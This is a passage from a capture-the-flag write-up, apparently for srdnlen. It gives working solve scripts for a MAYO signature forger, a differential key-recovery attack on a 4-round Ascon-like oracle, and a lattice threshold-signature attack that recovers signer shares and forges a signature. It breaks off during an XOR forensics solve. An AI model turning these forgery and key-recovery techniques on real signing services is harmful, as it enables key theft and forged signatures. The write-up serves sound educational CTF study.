
    encode(s, sig, param_n * param_k);
    memcpy(sig + param_sig_bytes - param_salt_bytes, salt, (size_t)param_salt_bytes);
    *siglen = (size_t)param_sig_bytes;

err:
    mayo_secure_clear(V, sizeof(V));
    mayo_secure_clear(Vdec, sizeof(Vdec));
    mayo_secure_clear(A, sizeof(A));
    mayo_secure_clear(r, sizeof(r));
    mayo_secure_clear(sk.O, sizeof(sk.O));
    mayo_secure_clear(&sk, sizeof(sk_t));
    mayo_secure_clear(Ox, sizeof(Ox));
    mayo_secure_clear(tmp, sizeof(tmp));
    mayo_secure_clear(Mtmp, sizeof(Mtmp));
    return ret;
}

int main(int argc, char **argv) {
    if (argc < 4 || argc > 5) {
        fprintf(stderr, "Usage: %s <message> <seed_pk_hex> <O_hex> [cpk_hex]\n", argv[0]);
        return 1;
    }

    const mayo_params_t *p = &MAYO_2;
    const char *msg = argv[1];
    size_t mlen = strlen(msg);

    unsigned char seed_pk[PK_SEED_BYTES_MAX];
    unsigned char O[O_MAX * V_MAX];

    const int param_pk_seed_bytes = PARAM_pk_seed_bytes(p);
    const int param_v = PARAM_v(p);
    const int param_o = PARAM_o(p);
    const int param_sig_bytes = PARAM_sig_bytes(p);

    if (parse_hex(argv[2], seed_pk, (size_t)param_pk_seed_bytes) != 0) {
        fprintf(stderr, "invalid seed_pk hex\n");
        return 1;
    }

    if (parse_hex(argv[3], O, (size_t)(param_v * param_o)) != 0) {
        fprintf(stderr, "invalid O hex\n");
        return 1;
    }

    unsigned char sig[SIG_BYTES_MAX];
    size_t siglen = 0;
    int ret = sign_with_O(p, sig, &siglen, (const unsigned char *)msg, mlen, seed_pk, O);
    if (ret != MAYO_OK || siglen != (size_t)param_sig_bytes) {
        fprintf(stderr, "signing failed\n");
        return 2;
    }

    if (argc == 5) {
        unsigned char cpk[CPK_BYTES_MAX];
        if (parse_hex(argv[4], cpk, (size_t)PARAM_cpk_bytes(p)) != 0) {
            fprintf(stderr, "invalid cpk hex\n");
            return 1;
        }
        int vr = mayo_verify(p, (const unsigned char *)msg, mlen, sig, cpk);
        if (vr != MAYO_OK) {
            fprintf(stderr, "local verify failed\n");
            return 3;
        }
    }

    print_hex_buf(sig, siglen);
    return 0;
}

Build and run:

gcc -O2 -I MAYO-C/include -I MAYO-C/src -I MAYO-C/src/mayo_2 -I MAYO-C/src/common -I MAYO-C/src/generic -o forge_mayo forge_mayo.c MAYO-C/src/arithmetic.c MAYO-C/src/common/fips202.c MAYO-C/src/common/mem.c MAYO-C/src/common/randombytes_system.c
python3 -u solve.py

Recovered flag: srdnlen{M4YO+0n3_N1bBl3_F4ulT=Br0k3N}

Lightweight

Description

We are given an oracle based on a 4-round Ascon-like permutation:

• Secret key: key[0], key[1] (128 bits total), fixed for the session.

• Per query we choose diff = (d0, d1).

• Server samples random nonce (n0, n1), prints:

  • nonce

  • F_k(n0, n1) (first two 64-bit words after 4 rounds)

  • F_k(n0^d0, n1^d1)

• After up to 2^16 queries we must guess the key.

The core weakness is reduced-round diffusion: for d0=d1=1<<i, specific output-bit differentials have strong key-dependent biases.

Solution

1. Reproduce the permutation exactly (important detail: after S-box, x4 must be set to t4).

2. Invert only the linear layer of x0 (x0 ^= rotr19(x0) ^ rotr28(x0)) using a precomputed 64x64 GF(2) inverse matrix.

3. For each bit position i:

   • Query many times with diff=(1<<i, 1<<i).

   • Let u = Linv(x0_a) ^ Linv(x0_b) from the two outputs.

   • Measure two empirical biases:

     • e1 from bit j1=(i+1) mod 64

     • e2 from bit j2=(i+14) mod 64

4. Classify (k0[i], k1[i]) by nearest centroid among 4 key-bit-pair classes.

   • Use two centroid tables depending on i via CMASK=0x73.

5. Build full candidate key (k0,k1).

6. Verify candidate in-session by issuing a few random differentials and checking predicted outputs from local ascon_eval.

7. If verification fails, add more samples only for low-margin bit positions and reclassify.

8. Submit recovered key, receive flag.

Recovered flag: srdnlen{https://www.youtube.com/shorts/8puNABA4rxw}

#!/usr/bin/env python3
import random
import re
import socket
import sys
from typing import List, Tuple

HOST = "lightweight.challs.srdnlen.it"
PORT = 1338

SAMPLES_PER_BIT = 256
REFINE_SAMPLES = 256
REFINE_BITS = 12
MAX_REFINE_ROUNDS = 3
VERIFY_QUERIES = 6

# Sign-pattern mask for bit position i (derived from reduced-round constants).
CMASK = 0x73

# Mean biases for two selected output features, indexed by pair:
# pair 0 -> (k0_i, k1_i) = (0,0)
# pair 1 -> (0,1)
# pair 2 -> (1,0)
# pair 3 -> (1,1)
MU_A1 = (0.076, -0.157, 0.202, -0.100)  # j1 = i+1, bits where CMASK has 1
MU_B1 = (-0.157, 0.076, -0.100, 0.202)  # j1 = i+1, bits where CMASK has 0
MU_A2 = (0.124, -0.249, -0.249, 0.124)  # j2 = i+14, bits where CMASK has 1
MU_B2 = (-0.249, 0.124, 0.124, -0.249)  # j2 = i+14, bits where CMASK has 0

MASK64 = (1 << 64) - 1
IV = 0x7372646E6C656E21
RC = (0x73, 0x72, 0x64, 0x6E)


class Remote:
    def __init__(self, host: str, port: int):
        self.sock = socket.create_connection((host, port), timeout=20)
        self.f = self.sock.makefile("rwb", buffering=0)

    def send_line(self, line: str) -> None:
        self.f.write(line.encode() + b"\n")

    def send_many(self, line: str, count: int) -> None:
        self.sock.sendall((line + "\n").encode() * count)

    def recv_line(self) -> str:
        line = self.f.readline()
        if not line:
            raise EOFError("connection closed")
        return line.decode().strip()

    def close(self) -> None:
        try:
            self.f.close()
        finally:
            self.sock.close()


def build_inverse(shifts: Tuple[int, int]) -> List[int]:
    rows = []
    for out_bit in range(64):
        coeff = 1 << out_bit
        for shift in shifts:
            coeff ^= 1 << ((out_bit + shift) & 63)
        rows.append([coeff, 1 << out_bit])

    pivot_row = 0
    for col in range(64):
        pivot = None
        for r in range(pivot_row, 64):
            if (rows[r][0] >> col) & 1:
                pivot = r
                break
        if pivot is None:
            raise RuntimeError("inverse build failed")
        rows[pivot_row], rows[pivot] = rows[pivot], rows[pivot_row]

        for r in range(64):
            if r != pivot_row and ((rows[r][0] >> col) & 1):
                rows[r][0] ^= rows[pivot_row][0]
                rows[r][1] ^= rows[pivot_row][1]

        pivot_row += 1

    inv_rows = [0] * 64
    for r in range(64):
        col = (rows[r][0] & -rows[r][0]).bit_length() - 1
        inv_rows[col] = rows[r][1]
    return inv_rows


INV0 = build_inverse((19, 28))


def apply_inverse(word: int, inv_rows: List[int]) -> int:
    out = 0
    for bit, mask in enumerate(inv_rows):
        if (word & mask).bit_count() & 1:
            out |= 1 << bit
    return out


def rrot(x: int, n: int) -> int:
    return ((x >> n) | ((x << (64 - n)) & MASK64)) & MASK64


def ascon_eval(k0: int, k1: int, n0: int, n1: int) -> Tuple[int, int]:
    s0, s1, s2, s3, s4 = IV, k0, k1, n0, n1
    for r in range(4):
        s2 ^= RC[r]

        s0 ^= s4
        s2 ^= s1
        s4 ^= s3

        t0 = s0 ^ ((~s1 & MASK64) & s2)
        t1 = s1 ^ ((~s2 & MASK64) & s3)
        t2 = s2 ^ ((~s3 & MASK64) & s4)
        t3 = s3 ^ ((~s4 & MASK64) & s0)
        t4 = s4 ^ ((~s0 & MASK64) & s1)

        s0, s1, s2, s3, s4 = t0, t1, t2, t3, t4

        s1 ^= s0
        s3 ^= s2
        s0 ^= s4
        s2 = (~s2) & MASK64

        s0 ^= rrot(s0, 19) ^ rrot(s0, 28)
        s1 ^= rrot(s1, 61) ^ rrot(s1, 39)
        s2 ^= rrot(s2, 1) ^ rrot(s2, 6)
        s3 ^= rrot(s3, 10) ^ rrot(s3, 17)
        s4 ^= rrot(s4, 7) ^ rrot(s4, 41)

    return s0, s1


def parse_two_words(line: str) -> Tuple[int, int]:
    line = line.strip()
    if len(line) < 32:
        raise ValueError(f"unexpected line: {line!r}")
    return int(line[:16], 16), int(line[16:32], 16)


def parse_first_word(line: str) -> int:
    line = line.strip()
    if len(line) < 16:
        raise ValueError(f"unexpected line: {line!r}")
    return int(line[:16], 16)


def accumulate_for_bit(io: Remote, bit_idx: int, count: int) -> Tuple[int, int]:
    d = 1 << bit_idx
    j1 = (bit_idx + 1) & 63
    j2 = (bit_idx + 14) & 63

    io.send_many(f"{d:016x} {d:016x}", count)

    c1 = 0
    c2 = 0
    for _ in range(count):
        _ = io.recv_line()  # nonce line
        a0 = parse_first_word(io.recv_line())
        b0 = parse_first_word(io.recv_line())
        u = apply_inverse(a0, INV0) ^ apply_inverse(b0, INV0)
        c1 += (u >> j1) & 1
        c2 += (u >> j2) & 1

    return c1, c2


def derive_key(cnt1: List[int], cnt2: List[int], totals: List[int]) -> Tuple[int, int, List[float]]:
    k0 = 0
    k1 = 0
    margins: List[float] = []

    for i in range(64):
        n = totals[i]
        e1 = cnt1[i] / n - 0.5
        e2 = cnt2[i] / n - 0.5

        if (CMASK >> i) & 1:
            mu1, mu2 = MU_A1, MU_A2
        else:
            mu1, mu2 = MU_B1, MU_B2

        scores = []
        for pair in range(4):
            s = (e1 - mu1[pair]) ** 2 + (e2 - mu2[pair]) ** 2
            scores.append((s, pair))
        scores.sort()

        best_pair = scores[0][1]
        margin = scores[1][0] - scores[0][0]
        margins.append(margin)

        b0 = (best_pair >> 1) & 1
        b1 = best_pair & 1
        k0 |= b0 << i
        k1 |= b1 << i

    return k0, k1, margins


def verify_key(io: Remote, k0: int, k1: int, rounds: int) -> bool:
    diffs: List[Tuple[int, int]] = []
    for _ in range(rounds):
        d0 = 1 << random.randrange(64)
        d1 = 1 << random.randrange(64)
        diffs.append((d0, d1))

    for d0, d1 in diffs:
        io.send_line(f"{d0:016x} {d1:016x}")

    for d0, d1 in diffs:
        n0, n1 = parse_two_words(io.recv_line())
        a0, a1 = parse_two_words(io.recv_line())
        b0, b1 = parse_two_words(io.recv_line())

        ea0, ea1 = ascon_eval(k0, k1, n0, n1)
        eb0, eb1 = ascon_eval(k0, k1, n0 ^ d0, n1 ^ d1)
        if (ea0, ea1) != (a0, a1):
            return False
        if (eb0, eb1) != (b0, b1):
            return False

    return True


def recover(io: Remote) -> Tuple[int, int]:
    cnt1 = [0] * 64
    cnt2 = [0] * 64
    totals = [0] * 64

    for i in range(64):
        c1, c2 = accumulate_for_bit(io, i, SAMPLES_PER_BIT)
        cnt1[i] += c1
        cnt2[i] += c2
        totals[i] += SAMPLES_PER_BIT

    for round_idx in range(MAX_REFINE_ROUNDS + 1):
        k0, k1, margins = derive_key(cnt1, cnt2, totals)
        if verify_key(io, k0, k1, VERIFY_QUERIES):
            return k0, k1

        if round_idx == MAX_REFINE_ROUNDS:
            break

        # Add more samples to the least-separated bit decisions.
        order = sorted(range(64), key=lambda i: margins[i])
        for i in order[:REFINE_BITS]:
            c1, c2 = accumulate_for_bit(io, i, REFINE_SAMPLES)
            cnt1[i] += c1
            cnt2[i] += c2
            totals[i] += REFINE_SAMPLES

    raise RuntimeError("failed to verify recovered key")


def main() -> int:
    host = HOST
    port = PORT
    if len(sys.argv) >= 2:
        host = sys.argv[1]
    if len(sys.argv) >= 3:
        port = int(sys.argv[2])

    io = Remote(host, port)
    try:
        k0, k1 = recover(io)
        print(f"[+] recovered key: {k0:016x} {k1:016x}")

        io.send_line("0000000000000000 0000000000000000")
        io.send_line(f"{k0:016x} {k1:016x}")

        lines = []
        try:
            while True:
                line = io.recv_line()
                lines.append(line)
                print(line)
        except EOFError:
            pass

        blob = "\n".join(lines)
        m = re.search(r"srdnlen\{[^\n}]+\}", blob)
        if m:
            print(f"[+] flag: {m.group(0)}")
            return 0
        return 1
    finally:
        io.close()


if __name__ == "__main__":
    raise SystemExit(main())

Threshold

Description

A lattice-based FROST-like threshold signature service lets us request partial signatures from signers 1..15 (we are signer 0) for any message except "give me the flag". We are given vk and our share sk[0].

The service computes each partial as:

• z_i = r_i + lambda_i * c * s_i (mod q)

where:

• r_i is fresh Gaussian masking noise,

• lambda_i is the Lagrange coefficient for signer set S,

• c is hash-derived challenge from aggregated commitment high bits.

Solution

Key observations:

1. The preprocessing cap is queue-depth-based (<=8), not total-usage-based. By alternating menu options, we can collect many signatures.

2. We can force a fixed challenge c by choosing our commitment w_0 each query so the aggregate commitment sum for selected signers is exactly zero before high-bit extraction.

3. With fixed c, each coefficient becomes a 1D modular noisy equation:

   • z = lambda * u + noise (mod q), where u is a coefficient of c*s_i.

4. We choose many signer subsets to get multiple lambda scales (small/mid/huge) for each target signer. For each coefficient, we solve via interval intersection + maximum-likelihood selection.

5. Recover 7 signer shares (8..14), combine with our share (0), reconstruct/validate the master secret via interpolation (it must be small Gaussian), then forge a valid signature on target message offline and submit.

Full exploit code used:

#!/usr/bin/env python3
import json
import math
import os
import re
import sys
from collections import defaultdict

import numpy as np
from pwn import remote, context

sys.path.append(os.path.abspath("attachments/threshold"))
from ts import TSParam, TS  # noqa: E402


HOST = "threshold.challs.srdnlen.it"
PORT = 1339

TARGET_MSG = b"give me the flag"
B_SIGMA = 6  # bound multiplier for interval constraints

# signer -> list of (lambda, count, subset including 0)
PLAN = {
    8: [
        (1, 10, (0, 1, 2, 3, 5, 6, 8, 9)),
        (2002, 2, (0, 7, 8, 9, 10, 11, 12, 13)),
        (-2156, 2, (0, 6, 7, 8, 9, 10, 11, 13)),
        (5391361, 2, (0, 1, 2, 4, 8, 10, 12, 14)),
        (10953866, 2, (0, 1, 4, 8, 9, 12, 14, 15)),
        (16773117, 2, (0, 2, 3, 4, 6, 8, 10, 14)),
        (100638730, 2, (0, 2, 4, 6, 8, 11, 12, 13)),
        (499496677, 2, (0, 1, 3, 7, 8, 10, 12, 15)),
    ],
    9: [
        (1, 8, (0, 1, 2, 3, 6, 8, 9, 11)),
        (1848, 2, (0, 6, 7, 8, 9, 10, 11, 14)),
        (2156, 2, (0, 6, 7, 8, 9, 10, 11, 13)),
        (2288, 2, (0, 8, 9, 10, 11, 12, 14, 15)),
        (3003, 2, (0, 8, 9, 10, 11, 12, 13, 14)),
        (13252835, 2, (0, 1, 3, 4, 6, 9, 12, 14)),
        (-17670438, 2, (0, 1, 3, 7, 9, 10, 12, 15)),
        (99396266, 2, (0, 1, 2, 3, 6, 9, 10, 13)),
        (499821228, 2, (0, 2, 3, 4, 9, 12, 14, 15)),
    ],
    10: [
        (1, 6, (0, 1, 2, 3, 6, 9, 10, 11)),
        (-648, 2, (0, 5, 7, 8, 9, 10, 11, 14)),
        (936, 2, (0, 3, 8, 9, 10, 11, 12, 13)),
        (1728, 2, (0, 7, 8, 9, 10, 11, 14, 15)),
        (-2496, 2, (0, 7, 9, 10, 11, 12, 14, 15)),
        (4368, 2, (0, 7, 8, 9, 10, 11, 12, 13)),
        (-3144966, 2, (0, 2, 4, 6, 8, 10, 12, 14)),
        (6815731, 2, (0, 1, 3, 7, 9, 10, 11, 15)),
        (100638912, 2, (0, 2, 6, 9, 10, 11, 12, 14)),
        (-500548242, 2, (0, 2, 3, 5, 8, 10, 12, 15)),
    ],
    11: [
        (1, 6, (0, 1, 2, 4, 8, 10, 11, 13)),
        (-1365, 2, (0, 5, 8, 9, 10, 11, 12, 13)),
        (-1911, 2, (0, 6, 8, 9, 10, 11, 12, 13)),
        (2100, 2, (0, 8, 9, 10, 11, 13, 14, 15)),
        (3900, 2, (0, 8, 9, 10, 11, 12, 14, 15)),
        (6825, 2, (0, 8, 9, 10, 11, 12, 13, 14)),
        (-9100, 2, (0, 9, 10, 11, 12, 13, 14, 15)),
        (2602375, 2, (0, 1, 2, 3, 5, 6, 11, 15)),
        (101492625, 2, (0, 1, 2, 6, 7, 8, 11, 12)),
        (500957163, 2, (0, 2, 3, 6, 10, 11, 12, 13)),
    ],
    12: [
        (1, 6, (0, 1, 2, 3, 10, 11, 12, 14)),
        (924, 2, (0, 2, 10, 11, 12, 13, 14, 15)),
        (-1650, 2, (0, 5, 9, 10, 11, 12, 13, 14)),
        (2016, 2, (0, 7, 8, 11, 12, 13, 14, 15)),
        (-3080, 2, (0, 7, 9, 10, 11, 12, 13, 14)),
        (4200, 2, (0, 8, 9, 11, 12, 13, 14, 15)),
        (6930, 2, (0, 8, 10, 11, 12, 13, 14, 15)),
        (12779520, 2, (0, 1, 2, 3, 4, 5, 10, 12)),
        (14457586, 2, (0, 1, 6, 9, 11, 12, 13, 15)),
        (102236166, 2, (0, 3, 4, 5, 9, 11, 12, 14)),
        (501886602, 2, (0, 1, 2, 5, 11, 12, 14, 15)),
    ],
    13: [
        (1, 6, (0, 1, 2, 3, 10, 12, 13, 14)),
        (-792, 2, (0, 6, 8, 10, 12, 13, 14, 15)),
        (-1000, 2, (0, 4, 9, 11, 12, 13, 14, 15)),
        (1485, 2, (0, 8, 9, 10, 11, 12, 13, 14)),
        (-1980, 2, (0, 5, 10, 11, 12, 13, 14, 15)),
        (-3240, 2, (0, 8, 9, 11, 12, 13, 14, 15)),
        (-6600, 2, (0, 9, 10, 11, 12, 13, 14, 15)),
        (4587520, 2, (0, 1, 2, 3, 4, 5, 10, 13)),
        (-99090429, 2, (0, 1, 3, 8, 10, 11, 13, 14)),
        (502058189, 2, (0, 1, 3, 5, 7, 8, 10, 13)),
    ],
    14: [
        (1, 6, (0, 1, 2, 6, 11, 12, 14, 15)),
        (528, 2, (0, 8, 9, 10, 11, 13, 14, 15)),
        (858, 2, (0, 8, 9, 10, 12, 13, 14, 15)),
        (1248, 2, (0, 8, 9, 11, 12, 13, 14, 15)),
        (1716, 2, (0, 8, 10, 11, 12, 13, 14, 15)),
        (2288, 2, (0, 9, 10, 11, 12, 13, 14, 15)),
        (1966080, 2, (0, 1, 2, 3, 4, 5, 10, 14)),
        (10321920, 2, (0, 1, 2, 3, 6, 9, 10, 14)),
        (100638720, 2, (0, 1, 2, 6, 8, 9, 12, 14)),
        (498401280, 2, (0, 2, 3, 4, 10, 11, 12, 14)),
    ],
}

TARGET_SIGNERS = [8, 9, 10, 11, 12, 13, 14]

DUMMY_SUBSETS = [
    [1, 2, 3, 4, 5, 6, 7],
    [8, 9, 10, 11, 12, 13, 14],
    [1, 2, 3, 8, 9, 10, 15],
    [4, 5, 6, 11, 12, 13, 15],
    [1, 4, 7, 8, 11, 14, 15],
    [2, 5, 9, 12, 13, 14, 15],
    [3, 6, 10, 11, 12, 13, 14],
]


def centered(x, q):
    x %= q
    return x - q if x > q // 2 else x


class ServerClient:
    def __init__(self, host, port):
        context.log_level = "error"
        self.io = remote(host, port)
        self.io.recvuntil(b"Your secret key and verification key: ")
        line = self.io.recvline().decode().strip()
        self.user_data = json.loads(line)
        self.io.recvuntil(b"Your choice: ")

    def add_preprocessing(self, your_w):
        self.io.sendline(b"1")
        self.io.recvuntil(b"Get your preprocessing data: ")
        self.io.sendline(json.dumps(your_w).encode())
        chunk = self.io.recvuntil(b"Your choice: ").decode(errors="ignore")
        generated = {}
        for line in chunk.splitlines():
            line = line.strip()
            if not line.startswith("Preprocessing data from signer #"):
                continue
            head, body = line.split(": ", 1)
            idx = int(head.split("#", 1)[1])
            generated[idx] = json.loads(body)
        return generated

    def request_signature(self, msg: bytes, signers):
        self.io.sendline(b"2")
        self.io.recvuntil(b"Message to sign (hex): ")
        self.io.sendline(msg.hex().encode())
        self.io.recvuntil(b": ")
        self.io.sendline(" ".join(map(str, signers)).encode())
        chunk = self.io.recvuntil(b"Your choice: ").decode(errors="ignore")
        partials = {}
        for line in chunk.splitlines():
            line = line.strip()
            if not line.startswith("Partial signature from signer #"):
                continue
            head, body = line.split(": ", 1)
            idx = int(head.split("#", 1)[1])
            partials[idx] = json.loads(body)
        return partials

    def submit_signature(self, sig):
        self.io.sendline(b"3")
        self.io.recvuntil(b"Signature on 'give me the flag': ")
        self.io.sendline(json.dumps(sig).encode())
        out = self.io.recvall(timeout=2).decode(errors="ignore")
        return out


def intersect_intervals(intervals, lam, z, q, B):
    out = []
    for lo, hi in intervals:
        if lam > 0:
            kmin = math.ceil((lam * lo - z - B) / q)
            kmax = math.floor((lam * hi - z + B) / q)
            for k in range(kmin, kmax + 1):
                a = (z + q * k - B) / lam
                b = (z + q * k + B) / lam
                lo2 = max(lo, a)
                hi2 = min(hi, b)
                if lo2 <= hi2:
                    out.append((lo2, hi2))
        else:
            kmin = math.ceil((lam * hi - z - B) / q)
            kmax = math.floor((lam * lo - z + B) / q)
            for k in range(kmin, kmax + 1):
                a = (z + q * k + B) / lam
                b = (z + q * k - B) / lam
                lo2 = max(lo, min(a, b))
                hi2 = min(hi, max(a, b))
                if lo2 <= hi2:
                    out.append((lo2, hi2))

    if not out:
        return []

    out.sort()
    merged = [list(out[0])]
    for a, b in out[1:]:
        if a <= merged[-1][1]:
            if b > merged[-1][1]:
                merged[-1][1] = b
        else:
            merged.append([a, b])
    return [(a, b) for a, b in merged]


def recover_coefficient(samples, q, sigma):
    B = int(B_SIGMA * sigma)

    base = [z if lam == 1 else (-z) % q for lam, z in samples if abs(lam) == 1]
    if len(base) >= 2:
        ref = base[0]
        unwrapped = [v + round((ref - v) / q) * q for v in base]
        mu = sum(unwrapped) / len(unwrapped)
        std = sigma / (len(unwrapped) ** 0.5)
        intervals = [(mu - 10 * std, mu + 10 * std)]
    else:
        intervals = [(0.0, float(q - 1))]

    for lam, z in sorted(samples, key=lambda t: abs(t[0])):
        nxt = intersect_intervals(intervals, lam, z, q, B)
        if not nxt:
            continue
        nxt = sorted(nxt, key=lambda iv: (iv[1] - iv[0]))[:256]
        nxt = sorted(nxt)
        merged = []
        for a, b in nxt:
            if not merged or a > merged[-1][1]:
                merged.append([a, b])
            else:
                if b > merged[-1][1]:
                    merged[-1][1] = b
        intervals = [(a, b) for a, b in merged]
        if sum(b - a for a, b in intervals) < 0.6:
            break

    candidates = []
    for lo, hi in intervals:
        a = math.ceil(lo)
        b = math.floor(hi)
        if b < a:
            continue
        if b - a > 1200:
            c = round((lo + hi) / 2)
            a = max(a, c - 1200)
            b = min(b, c + 1200)
        candidates.extend(range(a, b + 1))

    if not candidates:
        candidates = [round((intervals[0][0] + intervals[0][1]) / 2)]

    best_u = None
    best_score = None
    for u0 in candidates:
        u = u0 % q
        score = 0
        for lam, z in samples:
            d = centered((lam * u - z) % q, q)
            score += d * d
        if best_score is None or score < best_score:
            best_score = score
            best_u = u
    return best_u


def recover_u_from_samples(z_rows, lams, q, sigma):
    m, dim = z_rows.shape
    out = np.zeros(dim, dtype=np.int64)
    for d in range(dim):
        samples_d = [(lams[t], int(z_rows[t, d])) for t in range(m)]
        out[d] = recover_coefficient(samples_d, q, sigma)
    return out


def main():
    param = TSParam(N=16, T=8)
    ts = TS(param)
    Rq = param.Rq

    client = ServerClient(HOST, PORT)
    vk = tuple(client.user_data["vk"])
    sk0_ser = client.user_data["sk"]

    ts.receive_vk(vk)
    s0 = ts.unserialize(sk0_ser)

    print("[*] Connected and parsed keys")

    commitments = {i: [] for i in range(1, param.N)}
    ptr = {i: 0 for i in range(1, param.N)}

    zero_w = np.array([Rq.zero().copy() for _ in range(param.k)], dtype=object)
    zero_w_ser = ts.serialize(zero_w)

    print("[*] Prefilling preprocessing queues")
    for _ in range(7):
        generated = client.add_preprocessing(zero_w_ser)
        for j, w_ser in generated.items():
            commitments[j].append(ts.unserialize(w_ser))

    print("[*] Draining own commitment backlog")
    for S in DUMMY_SUBSETS:
        _ = client.request_signature(b"dummy", S)
        for j in S:
            ptr[j] += 1

    # pick a fixed data-collection message producing invertible challenge at w=0
    msg_data = None
    c_data = None
    c_inv = None
    for ctr in range(256):
        m = b"collect-" + bytes([ctr])
        seed = ts.challenge_seed(m, zero_w)
        c = Rq.sample_in_ball(param.tau, seed=seed)
        try:
            inv = c.inverse()
            msg_data, c_data, c_inv = m, c, inv
            break
        except ZeroDivisionError:
            continue
    if msg_data is None:
        raise RuntimeError("Failed to find invertible fixed challenge")

    print(f"[*] Fixed collection message: {msg_data!r}")
    expected_seed = ts.challenge_seed(msg_data, zero_w)
    approx = lambda w: np.array([wi.high_bits(param.gamma_w) for wi in w], dtype=object)

    samples = defaultdict(list)  # signer -> list[(lam, flat_coeff_vector)]
    mismatch_count = 0

    total_queries = sum(sum(cnt for _, cnt, _ in PLAN[i]) for i in TARGET_SIGNERS)
    done_queries = 0

    for signer in TARGET_SIGNERS:
        print(f"[*] Collecting samples for signer {signer}")
        for lam, cnt, S in PLAN[signer]:
            subset = [x for x in S if x != 0]
            for _ in range(cnt):
                sum_w = None
                for j in subset:
                    if ptr[j] >= len(commitments[j]):
                        raise RuntimeError(f"Missing commitment for signer {j} (ptr={ptr[j]}, len={len(commitments[j])})")
                    wj = commitments[j][ptr[j]]
                    sum_w = wj if sum_w is None else (sum_w + wj)

                your_w_elem = -sum_w
                your_w = ts.serialize(your_w_elem)
                generated = client.add_preprocessing(your_w)
                for j, w_ser in generated.items():
                    commitments[j].append(ts.unserialize(w_ser))

                partials = client.request_signature(msg_data, subset)
                if signer not in partials:
                    raise RuntimeError(f"Signer {signer} partial missing")

                _, zi_ser = partials[signer]
                zi = ts.unserialize(zi_ser)
                coeffs = np.concatenate([z.coeffs.astype(np.int64) for z in zi])
                samples[signer].append((lam, coeffs))

                # Validate that we indeed forced aggregate commitment high-bits to zero.
                ws_actual = [your_w_elem] + [ts.unserialize(p[0]) for p in partials.values()]
                w_chk = approx(sum(ws_actual))
                if not all(a == b for a, b in zip(w_chk, zero_w)):
                    mismatch_count += 1
                    if mismatch_count <= 5:
                        print(f"    [warn] nonzero aggregate commitment in query {done_queries + 1}")
                else:
                    seed_chk = ts.challenge_seed(msg_data, w_chk)
                    if seed_chk != expected_seed:
                        mismatch_count += 1
                        if mismatch_count <= 5:
                            print(f"    [warn] unexpected challenge seed in query {done_queries + 1}")

                for j in subset:
                    ptr[j] += 1

                done_queries += 1
                if done_queries % 10 == 0 or done_queries == total_queries:
                    print(f"    progress {done_queries}/{total_queries}")

    print(f"[*] Aggregate commitment mismatches observed: {mismatch_count}")
    if mismatch_count > 0:
        raise RuntimeError("Fixed-challenge enforcement failed")

    print("[*] Recovering signer shares")
    recovered = {0: s0}

    for signer in TARGET_SIGNERS:
        obs = samples[signer]
        lams = [lam for lam, _ in obs]
        z_rows = np.stack([z for _, z in obs], axis=0)

        u_flat = recover_u_from_samples(z_rows, lams, param.q, param.sigma_w)

        u_vec = np.array(
            [Rq(u_flat[j * param.n:(j + 1) * param.n].tolist()) for j in range(param.ell)],
            dtype=object,
        )
        s_i = np.array([c_inv * ui for ui in u_vec], dtype=object)

        recovered[signer] = s_i
        print(f"    signer {signer} recovered")

    print("[*] Sanity-checking reconstruction")
    S_final = [0] + TARGET_SIGNERS
    S_final = sorted(S_final)

    for signer in TARGET_SIGNERS:
        u_pred = np.concatenate([x.coeffs.astype(np.int64) for x in (c_data * recovered[signer])])
        errs = []
        for lam, z in samples[signer]:
            diff = (z.astype(np.int64) - (lam * u_pred) % param.q) % param.q
            cd = np.where(diff <= param.q // 2, diff, diff - param.q).astype(np.int64)
            errs.append(cd)
        all_err = np.concatenate(errs)
        rms = float(np.sqrt(np.mean(all_err.astype(np.float64) ** 2)))
        print(f"    signer {signer} residual RMS = {rms:.2f}")

    # master secret estimate should be small because true s is gaussian(sigma_t)
    s_master = np.array([Rq.zero().copy() for _ in range(param.ell)], dtype=object)
    for i in S_final:
        lam = ts.lagrange_coeff(i, S_final)
        s_master = s_master + lam * recovered[i]

    max_abs = max(abs(int(c)) for poly in s_master for c in poly.centered_coeffs())
    print(f"    estimated master secret max |coeff| = {max_abs}")

    if max_abs > 10000:
        raise RuntimeError("Recovered shares look inconsistent (master secret not small)")

    print("[*] Forging target signature")
    sig = None
    for attempt in range(1, 200):
        rs = []
        ws = []
        for i in S_final:
            r = Rq.gaussian(param.sigma_w, param.ell)
            e = Rq.gaussian(param.sigma_w, param.k)
            wi = ts.A @ r + e
            rs.append(r)
            ws.append(wi)

        w = approx(sum(ws))
        seed = ts.challenge_seed(TARGET_MSG, w)
        c_t = Rq.sample_in_ball(param.tau, seed=seed)

        zs = []
        for i, r in zip(S_final, rs):
            lam = ts.lagrange_coeff(i, S_final)
            zi = r + c_t * lam * recovered[i]
            zs.append(zi)

        z = sum(zs)
        y = approx(ts.A @ z - c_t * ts.t)
        h = w - y
        sig_try = (seed.hex(), ts.serialize(z), ts.serialize(h))

        if ts.verify(TARGET_MSG, sig_try):
            sig = sig_try
            print(f"    forged on attempt {attempt}")
            break

    if sig is None:
        raise RuntimeError("Failed to forge a locally-valid signature")

    print("[*] Submitting forged signature to remote")
    out = client.submit_signature(sig)
    print(out)

    m = re.search(r"srdnlen\{[^}\r\n]+\}", out)
    if not m:
        raise RuntimeError("Flag not found in server response")

    flag = m.group(0)
    print(f"[+] FLAG: {flag}")

if __name__ == "__main__":
    main()

---

misc

The Trilogy of Death Volume I: Corel

Description

Forensics challenge on a Corel Linux disk image. A WordPerfect macro file (fc.wcm) is present and contains the clue The key is in what is left plus encrypted byte arrays.

Solution

The direct image-repair path was a dead end, so I pivoted to the macro artifact.

fc.wcm contains:

• A 4-byte key array (k1..k4) initially set to FAKE.

• A phrase printer: The key is in what is left.

• Two encrypted arrays (docbody, rh) decoded with:

(bb + kb) - 2 * (bb & kb)

This expression is bitwise XOR (bb ^ kb).

So the payload is XOR-encrypted with a repeating 4-byte key. Using the given fake key prints nonsense. I brute-forced the 4-byte key under a strict flag charset ([a-z0-9_{}]) against docbody.

Code used:

# solve_fc_wcm.py
import string

docbody = [
    206,56,8,128,209,47,2,149,202,34,95,128,226,41,92,156,142,38,51,153,
    137,57,51,218,211,21,88,130,201,121,30,128,137,62,93,152,142,55
]

# strict CTF-like charset
allowed = set(map(ord, string.ascii_lowercase + string.digits + "_{}"))

# Find all key-byte candidates per key position (mod 4)
cands = []
for j in range(4):
    good = []
    for k in range(256):
        ok = True
        for i in range(j, len(docbody), 4):
            if (docbody[i] ^ k) not in allowed:
                ok = False
                break
        if ok:
            good.append(k)
